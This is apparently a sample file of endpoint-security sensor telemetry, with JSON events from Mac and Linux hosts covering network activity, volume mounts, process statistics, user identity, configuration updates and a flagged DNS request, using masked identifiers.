+{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} +{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} +{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} +{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27